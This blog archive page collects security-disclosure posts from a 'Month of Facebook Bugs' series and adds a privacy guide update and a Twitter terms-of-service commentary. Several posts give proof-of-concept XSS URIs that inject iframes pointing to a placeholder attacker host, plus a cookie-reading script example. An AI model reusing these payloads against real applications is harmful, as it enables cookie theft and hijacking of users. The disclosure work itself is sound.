The Month of Facebook Bugs Halfway Report

A few weeks ago, I announced my plan to post a series of FAXX (Facebook Application XSS+XSRF) hacks. In the spirit of previous series of vulnerability disclosures, I elected to post a new hole every day for the month of September. The effort quickly became known as the Month of Facebook Bugs, and today marks the halfway point.

Thus far, counting the “Make a Gift!” vulnerability as affecting one application, I’ve reported on 19 vulnerable applications, and all but one are patched. Of those 19 applications, 12 are Facebook Verified Applications, and 13 are capable of clickjacking installs. All types of applications have appeared in the series so far, with several coming from the top 10 by monthly active users. Ignoring any overlap and simply totaling all of the monthly active user figures from the 19 reports, the tally of vulnerable users would stand at just over 169 million. However, an application vulnerability affects any user who has ever authorized the application, regardless of how often they use it. Furthermore, a user who has not authorized an application is still susceptible to a clickjacking install.

The primary purposes of this series is to raise awareness – and with several audiences. First, many Facebook users apply the same level of trust to Facebook applications that they give to Facebook itself, and are completely unaware of application-based attacks or the prevalence of application vulnerabilities. Second, many application developers are overlooking basic security practices for web applications. Third, the technology community has not always seemed to realize the magnitude of issues present in the Facebook Platform today.

In fact, while I may ensure that 30 applications get patched, if a 31st remains vulnerable, users remain vulnerable. I’ve outlined before some of the problem I see in the architecture of the Platform, and I’ve sent those concerns to Facebook in communicating with them about these application holes. I’ve not received a response thus far, and honestly don’t expect one, but I do hope this month-long series helps illustrate more vividly why I’ve raised such concerns.

As of today, I have uncovered enough FAXX hacks to last through the rest of September. I’ve already made an effort to contact every developer affected to give them time for patches. Once the month ends, I plan on releasing source code that demonstrates how a FAXX hack can be exploited to steal profile information and launch viral attacks. In the mean time, thanks to everyone for help and feedback – and please keep spreading the word.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

FAXX Hack: Every “Make a Gift!” Application

(This makes up for Monday’s FAXX Hack absence.)

Several Facebook applications serve to create other Facebook applications. For example, “Make a Gift!” lets users create applications for sending themed virtual gifts to friends. The user specifies various custom parameters for their new application, but the actual code is hosted by the original application.

This means, though, that a vulnerability in the codebase applies to every application built on it. Case in point: Earlier this week, I discovered an XSS hole in Make a Gift! applications.  As an example, this URI demonstrates the hole for the Friends! gift application:http://apps.facebook.com/friendsbghdkbhfbpgkg/?target=calendar-w&month=10&year=2009)%22%3E%3C%2Fa%3E%3Cfb%3Aiframe+src%3D%22http%3A%2F%2Fgifts.applatform.com%2Fa%2F1673%2F%3Fajax%3D1%26target%3Dcalendar-w%26month%3D10%26year%3D2009)%2522%253E%253C%252Fa%253E%253Ciframe%2Bsrc%253D%2522http%253A%252F%252FEVILURI%252F%2522%253E%22%3E

To launch an attack against another gift application, one only need change the canvas URI and the 4-digit number in the gifts.applatform.com URI. The largest applications I know of built with Make a Gift! are Friends! (2,135,691 monthly active users) and Birthday (2,993,635 monthly active users). From browsing the Make a Gift! application, I counted at least 9,689 applications built using it, and the above vulnerability applied to every one of them. The hole was also capable of a clickjacking install.

I did not have a direct contact for the developer of the Make a Gift! application, but I notified Facebook and they passed on word. Fortunately, the codebase was patched fairly quickly.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

FAXX Hack: Family Tree

Facebook Verified Application

Current Monthly Active Users: 5,024,914

Current Rank on Application Leaderboard: 30

Application Developer: Familybuilder

Responsiveness: Familybuilder responded quickly, patched all the issues within a day or two, and sent updates on their progress.

Vulnerability Status: Patched

Capable of Clickjacking Install: Uncertain

Technical Details:

  1. If a person wrote a comment on a user’s Family Feed containing FBML, that code would then be rendered when the feed was loaded, e.g. <fb:iframe src=’http://google.com/‘>.
  2. If a user included FBML in sections of his/her Facebook profile information, this would be rendered when someone viewed the “Info” tab of the user’s Family Tree profile.
  3. If a user inserted an FBML iframe that then referenced the direct URI of their Family Tree profile, this would in turn load malicious scripts embedded in the Family Tree page.  For example, inserting <fb:iframe src=”http://fb.apps.familybuilder.com/newfamilytree/scripts/profileInfo.php?profileid=PROFILENUM“> and <script>alert(document.cookie);</script> in a user’s Facebook profile, with the correct Family Tree profile number filled in, would have displayed the cookies on loading the “Info” tab.

Notes: This is an example of a persistent XSS hole – a bug I had not been looking for, but after Tom Eston found one in another application (to be posted later this week), I began keeping an eye out for them.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

New Version Released: Facebook Privacy & Security Guide

Facebook has made some changes to the privacy settings for Facebook profiles since the last time I updated the Facebook Privacy & Security Guide which was back on it’s original release (October 2008).  As with all things on the web…we want to keep this guide as current as possible so users of Facebook know how to configure each of the privacy settings in their profile.  Updates in this version (v1.1) include:

  • News Feed and Wall settings have been updated.  Facebook removed settings such as “time and date” and streamlined other settings
  • I have provided more information on how Facebook applications work and how you should configure your application privacy settings based on if your friends install an application
  • Updated information about Facebook Ads, Facebook Connect settings and Beacon websites

Click here to download the new version of the Facebook Privacy & Security Guide (v1.1)
(if you are downloading this to your browser, be sure to clear your browser cache prior to downloading as you may have the old version in your cache.  Better to do a “Save Link As…”)

As usual, please send any feedback about the guide to feedback[aT]socialmediasecurity.com or post a comment below.  As a supplement to this guide, stay tuned for a video walk through which we plan to post on YouTube and also make it available for free download.  If you have any other suggestions for user awareness guides, articles, video’s etc…consider joining our mailing list.

FAXX Hack Break: More Facebook XSS

Today I’m going to take a break from posting application holes, though not due to lack of material. I have several vulnerabilities ready to post, but I’m giving developers time to ensure their applications are secure. A few requests forced me to adjust my schedule, so I’ll make up for today’s omission in the future.

In the mean time, I thought I would share another Facebook bug that security researcher Pierre Gardenat sent to me. Full credit for this bug goes to Gardenat.

Earlier this year, he published a paper (PDF, French) on XSS vulnerabilities within Facebook itself. As his paper notes, Facebook did issue fixes, but only at the presentation layer. Facebook apparently did not take steps to identify harmful code already stored in their databases, or provide filters to avoid more code from being inserted.

Consequently, another attack vector surfaced when another facet of the presentation layer remained unpatched. First, a user could enter script tags with code in the screen name field of their profile’s contact information. Visiting Facebook in a desktop browser would not load the script, as presentation layer filters prevented it from being rendered as script. However, the mobile version of Facebook at m.facebook.com did not have such protections, and the script would execute fine.

This is an example of a persistent XSS hole, as opposed to the reflected XSS holes I’ve been posting so far. The attack code is stored within the application and loaded whenever a user visits a page that loads the code. In some ways this type of attack is more powerful than a standard reflected XSS attack.

Facebook has, of course, patched the mobile site now. But understanding the layers involved in dealing with XSS holes is an important lesson. And it’s one Facebook applications should not ignore, since they too can become susceptible to persistent XSS holes. In fact, two applications (one a Facebook Verified Application) vulnerable in this way have already been discovered, and I plan on posting details of the problems later this week as FAXX hacks.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

FAXX Hack: (Lil) Green Patch

Facebook Verified Application

Current Monthly Active Users: 2,400,608

Current Rank on Application Leaderboard: 64

Application Developer: Green Patch

Responsiveness: Green Patch did not send any messages, but did patch the hole.

Vulnerability Status: Patched

Capable of Clickjacking Install: Uncertain

Example URI: http://apps.facebook.com/greentrees/house.php?userId=%22%2F%3E%3Cfb%3Aiframe+src%3D%22EVILURI%2F%22%3E

Notes: This example URI once again does not include a standard double-injection trick. But I was unable to create such an exploit not because of a server whitelist or secure code. In fact, quite the opposite was true – nearly every time I tried to insert FBML or HTML into various pages, I ended up getting SQL errors. It quickly became clear that multiple SQL injection holes existed in this application. In this case, such problems weren’t entirely serious for users, as attacks would be accessing the application database, which does not store any sensitive information. Still, it’s disconcerting to find so many SQL injection holes in a Facebook Verified Application with over 2 million monthly active users.

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

FAXX Hack: Bananagrams

Sorry for not posting yesterday – I’ll post another FAXX Hack in a bit to make up for it.

Facebook Verified Application

Current Monthly Active Users: 22,215

Current Rank on Application Leaderboard: 1,165

Application Developer: Large Animal Games

Responsiveness: LAG did not send any messages, but did patch the hole within a day or two. Actually, LAG was very responsive and moved swiftly to fix the holes, replying within minutes and posting a fix within hours. But for some reason, Gmail flagged the messages as spam and thus I didn’t notice them. My apologies to LAG, they did great work and I appreciate it!

Vulnerability Status: Patched

Capable of Clickjacking Install: Yes

Example URI: http://apps.facebook.com/bananagrams/invite.php?tp_code=%22%2F%3E%3Cfb%3Aiframe+src%3D%22EVILURI%22%3E

Facebook Instapaper Twitter Digg FriendFeed Delicious Google Bookmarks Yahoo Bookmarks Share/Bookmark

A Closer Look at Twitter’s New Terms of Service

On September 10th Twitter released a new Terms of Service (ToS) that you as a user of Twitter should be aware of.  Some of the changes related to privacy and security are noted below with my comments in bold:

  • The Content you submit, post, or display will be able to be viewed by other users of the Services and through third party services and websites. 
    This should be obvious but by using Twitter you should have no expectation of privacy at all (even with a “private” profile).
  • In consideration for Twitter granting you access to and use of the Services, you agree that Twitter and its third party providers and partners may place such advertising on the Services or in connection with the display of Content or information from the Services whether submitted by you or others. 
    Twitter has to make money somehow so don’t be shocked when you see ad’s being generated based on the content of your tweets.

  • You are responsible for safeguarding the password that you use to access the Services and for any activities or actions under your password. We encourage you to use “strong” passwords (passwords that use a combination of upper and lower case letters, numbers and symbols) with your account. Twitter cannot and will not be liable for any loss or damage arising from your failure to comply with the above requirements. 
    This shouldn’t be a surprise either.  If your password gets owned by a hacker, Twitter is not responsible.  However, I still think that Twitter should require stronger passwords on their end.
  • You understand that by using the Services, you may be exposed to Content that might be offensive, harmful, inaccurate or otherwise inappropriate, or in some cases, postings that have been mislabeled or are otherwise deceptive. 
    Disinformation is a popular tactic on Twitter used by spammers as well as people that want to spread incorrect information about news and other topics.  Twitter is not responsible for this type of behavior.  You don’t believe *everything* you read on Twitter right? :-)
  • By submitting, posting or displaying Content on or through the Services, you grant us a worldwide, non-exclusive, royalty-free license (with the right to sublicense) to use, copy, reproduce, process, adapt, modify, publish, transmit, display and distribute such Content in any and all media or distribution methods (now known or later developed).
    Sure, the content you post is yours but whatever you post can be modified, retransmitted, etc by Twitter and third-party apps that interact with Twitter.
  • …you have to use the Twitter API if you want to reproduce, modify, create derivative works, distribute, sell, transfer, publicly display, publicly perform, transmit, or otherwise use the Content or Services. 
    This is the reason that the Twitter API is so open and also the primary reason that spammers and other people with bad intent can take advantage of the service.
  • You may not do any of the following while accessing or using the Services: (i) access, tamper with, or use non-public areas of the Services, Twitter’s computer systems, or the technical delivery systems of Twitter’s providers; (ii) probe, scan, or test the vulnerability of any system or network or breach or circumvent any security or authentication measures…
    This is interesting to me.  So if you are a security researcher you cannot “test” Twitter for vulnerabilities.  That would include fuzzing and/or doing simple tests for XSS.  So if you find a vulnerability on Twitter and disclose it to them can they delete your account, or report you to law enforcement?  Remember kids…don’t test for vulnerabilities without permission first. :-)
  • …or (v) interfere with, or disrupt, (or attempt to do so), the access of any user, host or network, including, without limitation, sending a virus, overloading, flooding, spamming, mail-bombing the Services, or by scripting the creation of Content in such a manner as to interfere with or create an undue burden on the Services.
    The part about flooding and mail-bombing the Services relates to the recent Twitter DD0S I suspect.
  • Twitter will not be responsible or liable for any harm to your computer system, loss of data, or other harm that results from your access to or use of the Services, or any Content. You also agree that Twitter has no responsibility or liability for the deletion of, or the failure to store or to transmit, any Content and other communications maintained by the Services. We make no warranty that the Services will meet your requirements or be available on an uninterrupted, secure, or error-free basis.
    If you use Twitter (or any social network for that matter) don’t assume that it’s “secure”.  They don’t guarantee security an you shouldn’t either.  Also, if you see the Fail Whale…it’s also not guarantee of service availability. :-)

These are the main changes that I picked out related to privacy and security.  However, you should really read the full ToS as it has gotten more detailed then the previous version.  I would suspect more communication from Twitter on future changes to the ToS.

1 14 15 16 17 18 28